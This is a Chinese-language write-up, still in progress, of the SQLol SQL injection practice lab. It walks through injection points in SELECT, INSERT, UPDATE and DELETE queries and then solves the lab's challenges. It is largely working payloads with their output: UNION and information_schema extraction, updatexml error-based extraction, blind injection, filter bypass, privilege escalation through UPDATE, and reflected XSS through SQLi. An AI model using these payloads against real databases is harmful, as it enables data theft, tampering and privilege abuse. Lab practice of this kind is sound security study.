编写中

一、Select query

1、where子句中的字符串

注入字符为`a'`时，得到的结果是

```
Error:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near "a" GROUP BY username ORDER BY username ASC' at line 1
```

说明存在注入
还原sql语句：
`select username from users where username='a'' group by username order by username ASC`
构造注入sql语句
`select username from users where username='a' or 'a'='a'#' group by username order by username ASC`
注入语句为`a' or 'a'='a'#`
得到结果

```
Results:
Array ( [username] => Herp Derper )
Array ( [username] => SlapdeBack LovedeFace )
Array ( [username] => Wengdack Slobdegoob )
Array ( [username] => Chunk MacRunfast )
Array ( [username] => Peter Weiner )
```

查询其他内容，比如数据库，注入语句为`a' union select database()#`得到sqlo

2、where子句中的数字

注入语句为`1 or 1=1#`
得到结果所有的username
查询其他内容，比如数据库用户名，注入语句为`1 union select user()#`得到root@localhost

3、整个查询

可以直接执行任何输入的sql语句
注入语句为`select version()` 得到5.5.53

4、列名称

还原sql语句：
`select 1 from users where isadmin=0 group by username order by username ASC`
注入点在1这个位置。
构造注入sql语句
`select * from users where isadmin=0 group by username order by username ASC`
即查询users表里所有的东西

```
Results:
Array ( [username] => Chunk MacRunfast [isadmin] => 0 [id] => 4 )
Array ( [username] => Peter Weiner [isadmin] => 0 [id] => 5 )
Array ( [username] => Wengdack Slobdegoob [isadmin] => 0 [id] => 3 )
```

还可以把后面半段的注释掉，查询自己想查询的东西
比如说`select user()# from users where isadmin=0 group by username order by username ASC`

5、表名称

还原sql语句：
`select username from 1 where isadmin=0 group by username order by username ASC`
注入点在1处
构造注入sql语句
`select username from users union select user()# where isadmin=0 group by username order by username ASC`
需要正确的表名查询其他东西。

6、order by 子句

还原sql语句：
`SELECT username FROM users WHERE isadmin = 0 GROUP BY username ORDER BY 1 ASC`
注入点在1位置，order by必须是在sql语句的最后，所以后面不能再带什么union select了
使用报错注入的方式：
`SELECT username FROM users WHERE isadmin = 0 GROUP BY username ORDER BY 1 and updatexml(1,concat(0x7e,(select user()),0x7e),1)#ASC`
得到结果

```
Error:
XPATH syntax error: '~root@localhost~'
```

7、group by 子句

还原sql语句：
`SELECT username FROM users WHERE isadmin = 0 GROUP BY 1 ORDER BY username ASC`
GROUP BY 语句用于结合合计函数，根据一个或多个列对结果集进行分组。
同样使用报错注入`1 and updatexml(1,concat(0x7e,(select user()),0x7e),1)#`

7、Having 子句

一般与group by结合使用，在gruop by 后面，效果等同于where
`SELECT username FROM users WHERE isadmin = 0 GROUP BY username having 1=1 and updatexml(1,concat(0x7e,(sele user()),0x7e),1)#ORDER BY username ASC`

二、INSERT query

一般可以使用报错注入以及盲注的方法

1、字符串的值以及数值型的值

还原sql语句：
`INSERT INTO users (username, isadmin) VALUES ('a', 0)`
注入点在a处
使用报错注入构造sql语句
`INSERT INTO users (username, isadmin) VALUES ('a' or updatexml(1,concat(0x7e,(select user()),0x7e),1) or '' 0)`
注入语句为：
`a' or updatexml(1,concat(0x7e,(select user()),0x7e),1) or '`
数值型注入语句为：
注入语句为`1 or updatexml(1,concat(0x7e,(select user()),0x7e),1)`

2、列名

还原sql语句：
`INSERT INTO users (1, isadmin) VALUES ('haxotron9000', 0)`
注入点在1处
利用方式：
1、注释掉后面的内容,插入自己想要的内容
`insert into users (username) values ('a')#, isadmin) VALUES ('haxotron9000', 0)`
2、知道其他列的时候，可以插入到其他列里面，造成垃圾数据

3、表名

还原sql语句：
`INSERT INTO 1 (username, isadmin) VALUES ('haxotron9000', 0)`
注入点在1处
利用方式，
注释掉后面的内容，可以插入到任意表的任意数据
`INSERT INTO test column1 values 1# (username, isadmin) VALUES ('haxotron9000', 0)`

三、UPDATE query

1、字符串的值以及数值型的值

还原sql语句：
`UPDATE users SET username = 'haxotron9000' WHERE username = '1'`
注入点在1处
字符型注入语句构造：
`UPDATE users SET username = 'haxotron9000' WHERE username = '1' or updatexml(1,concat(0x7e,(select user()),0x7e),1)#'`
注入语句为：
`1' or updatexml(1,concat(0x7e,(select user()),0x7e),1)#`
数值型的注入语句为：
`1 or updatexml(1,concat(0x7e,(select user()),0x7e),1)#`

2、列名

还原sql语句：
`UPDATE users SET 1 = 'haxotron9000' WHERE isadmin = 0`
注入点在1处。
1、同样可以把后半段给注释掉，写入自己想改变的值
`UPDATE users SET username='a' where isadmin=0 # = 'haxotron9000' WHERE isadmin = 0`
2、利用报错注入，获得想要的内容
`UPDATE users SET username=1 or updatexml(1,concat(0x7e,(select user()),0x7e),1)# = 'haxotron9000' WHERE isadmin = 0`

3、表名

还原sql语句：
`UPDATE 1 SET username = 'haxotron9000' WHERE isadmin = 0`
注入点在1处。
把后面的注释掉，想更新什么表就更新什么表

4、值

还原sql语句：
`UPDATE users SET username = '1' WHERE isadmin = 0`
注入点在1这个位置
`UPDATE users SET username = '1' or updatexml(1,concat(0x7e,(select user()),0x7e),1)#'WHERE isadmin = 0`

四、DELETE query

1、字符串的值以及数值型的值

还原sql语句：
`DELETE FROM users WHERE username = '1'`
构造字符串注入sql语句：
`DELETE FROM users WHERE username = '1' or updatexml(1,concat(0x7e,(select user()),0x7e),1)#'`
构造数值注入sql语句：
`DELETE FROM users WHERE username = 1 or updatexml(1,concat(0x7e,(select user()),0x7e),1)`

2、列名

还原sql语句：
`DELETE FROM users WHERE a = 1`
注入点是a位置
1、知道其他列名，可以删除其他列的数据；正确列名，删除username = 2的值，或者其他的
`DELETE FROM users WHERE username=2# = 1`
2、报错注入
`DELETE FROM users WHERE username=username = 1 or updatexml(1,concat(0x7e,(select user()),0x7e),1)# = 1`

3、表名

还原sql语句：
`DELETE FROM 1 WHERE isadmin = 0`
注入点是1位置
1、删除表里的所有数据
`DELETE FROM users# WHERE isadmin = 0`
2、删除其他表的数据
3、报错注入（差不多不举例了）

五、Challenges

challenge 0 – Hell，world!

目标是让查询返回所有用户名，而不仅仅是一个用户名。
正常查询的语句是：
`SELECT username FROM users WHERE username = 'a' GROUP BY username ORDER BY username ASC`
构造注入语句：
`a' or 1=1#`

challenge 1 – SQL Injection 101

您的目标是查找数据库中的社会保障号码表，并提取其信息。
`a' order by 2#`，得到Unknown column '2' in 'order clause'，所以字段是1
由于知道数据库是sqlol，构造union查询语句
`a' union select table_name from information_schema.tables where table_schema='sqlol'#`
得到

```
Results:
Array ( [username] => ssn )
Array ( [username] => users )
```

ssn表吧应该是
`a' union select column_name from information_schema.cloumns where table_name='ssn'#`
得到

```
Results:
Array ( [username] => name )
Array ( [username] => ssn )
```

`a' union select concat(name, 0x7e, ssn) from sqlol.ssn#`
得到

```
Results:
Array ( [username] => Herp Derper~012-34-5678 )
Array ( [username] => SlapdeBack LovedeFace~999-99-9999 )
Array ( [username] => Wengdack Slobdegoob~000-00-1112 )
Array ( [username] => Chunk MacRunfast~666-67-6776 )
Array ( [username] => Peter Weiner~111-22-3333 )
```

Challenge 2 – The Failure of Quote Filters

对单引号进行了过滤，但是对数值型的输入无效，目的还是查找数据库中的社会保障号码表，并提取其信息。
由于这个是数值型的，所以和上面的基本一样，把a' 替换成1就行了

Challenge 3 – Death Row

只提供一行输出，目的还是查找数据库中的社会保障号码表，并提取其信息。
`a' UNION SELECT concat(name,0x7e,ssn) FROM sqlol.ssn LIMIT 0,1#`
`a' UNION SELECT concat(name,0x7e,ssn) FROM sqlol.ssn LIMIT 1,1#`
依次类推

Challenge 4 – War on Error

不显示查询的输出，但显示详细错误，目标是找到数据库中的社会保障号码表，并在没有盲目SQL注入技术的情况
提取其信息。
不使用盲注呀，那就是报错注入，因为会显示错误信息
`a' and updatexml(1,concat(0x7e,(SELECT concat(name,0x7e,ssn) FROM sqlol.ssn limit 0,1),0x7e),1)#`
输出：

```
Error:
XPATH syntax error: '~Herp Derper~012-34-5678~'
```

依次类推所有的

Challenge 5 – Blind Luck

需要使用基本的盲注，您的目标是查找数据库中的社会保障号码表，并提取其信息。
当输入a' or 1=1#时是Results:Got results! ，当输入错误的没有数据。这个是判断对还是错的标准。
判断数据库的名字长度：
`a' or length(database())>=1#` 正确
`a' or length(database())>=6#` 错误
`a' or length(database())=5#` 正确
判断数据库的名字长度：
可以结合burpsuit的暴力破解模块来使用，思路就是
`a' or substr(database(),1,1)='a'#`错误，从a试到z
或者转化成ascII码
`a' or ord(substr(database(),1,1))=115#`
判断第二个字母就
`a' or substr(database(),2,1)='a'#`

Challenge 6 – Stack the Deck

您的目标是使用堆叠查询创建一个名为“ipwntyourdb”的新表。
`a';create table ipwntyourdb#`
语句是这么写没错，但是其实呢php+mysql不允许进行堆叠查询的，所以没法显示结果

Challenge 7 – Walking on Thin Ice

您的目标是查找数据库中存在的社会保障号码表，并提取其信息，而不从数据库中删除任何内容。
不显示查询的输出，但显示详细错误。
是delete语句里的注入
不破坏数据库的内容，那么就是给一个不存在的值就行了呀
DELETE FROM users WHERE username = 'a' and updatexml(1,concat(0x7e,(SELECT concat(name,0x7e,ssn) FROM sqlol.ssn limit 0,1),0x7e),1)#

Challenge 8 – Black Comedy

过滤了一些黑名单的词吧，查找数据库中存在的社会保障号码表，并提取其信息
测试过滤了union,select,where,and,or,-,#
大写可以绕过，注释符的问题只能构造完整的sql语句了
`SELECT username FROM users WHERE username = 'a' Union Select concat(name, 0x7e, ssn) from sqlol.ssn Union Select username from users Where username='' GROUP BY username ORDER BY username ASC`
注入的语句是：
`a' Union Select concat(name, 0x7e, ssn) from sqlol.ssn Union Select username from users Where username='`

Challenge 9 – Administrative Tasks

在此挑战中，您正在使用 UPDATE 查询。查询将更新给定用户的“users”表中的字段“username”。
您的目标是将查询注入到查询中，并使其将 id 为3的用户的“isadmin”字段更新为1。就是把id为3的用户提升
限
原始语句为：`UPDATE users SET username = '1' WHERE isadmin = 0`
注入语句构造
一般来说更改的方式是set isadmin=1 where id=3，但是不能嵌套到username里，那么就把username一起改了
`UPDATE users SET username = 'test',isadmin=1 where id=3#' WHERE isadmin = 0`
把id是3的isadmin改为了1，username改为了test

Challenge 10 – No WHERE

您正在使用一个普通的 SELECT 查询。但是，这不是对 WHERE 子句的标准注入。在此挑战中，您将注入查询中的
列名。您的目标是从数据库中获取社会保障号码。
这个挺简单的
`concat(name,0x7e,ssn) FROM sqlol.ssn#`
执行的sql语句为`SELECT concat(name,0x7e,ssn) FROM sqlol.ssn# FROM users WHERE isadmin = 0 GROUP BY usernam ORDER BY username ASC`

Challenge 11 – No WHERE 2

变成了在order by子句里的注入，使用报错注入
`1 and updatexml(1,concat(0x7e,(SELECT concat(name,0x7e,ssn) FROM sqlol.ssn limit 0,1),0x7e),1)#`
按道理没问题的，但是这里不报错，所以没办法看到输出？？？可能是bug吧

Challenge 12 – XSSQLi

您的目标是使用 SQL 注入缺陷来执行反映的跨站点脚本攻击。
`1' and script alert(111) script #` （记得把这里<自行加）

Challenge 13 – LIKE OMG

您的目标是从数据库中检索所有用户名。在此挑战中，开发人员使用了“LIKE”关键字，而不是相等运算符。
当输入正确的，会返回Got results! 错误的没结果。所以这个是需要用到盲注呀
模糊查询的方式

> %，表示任意0个或多个字符
> _,表示任意单个字符
> []，表示字符括号中所列字符的一个
> [^]，不在这里的所列字符

首字母猜测：
`select username from users where username LIKE 'H%'` 返回正确的（注意不区分大小写）
长度擦测：
`select username from users where username LIKE 'H__________'` 正确，11位
依次类推=-=

Challenge 14 – Now you have two problems

在此挑战中，必须避开使用正则表达式实现的白名单筛选器。
您的目标是从数据库中检索社会保险号。
白名单的内容是/^[a-zA-Z0-9]*$/m
只接受数字和字母
这个做不出来哦，因为连空格都不允许，难道是整条语句进行编码吗？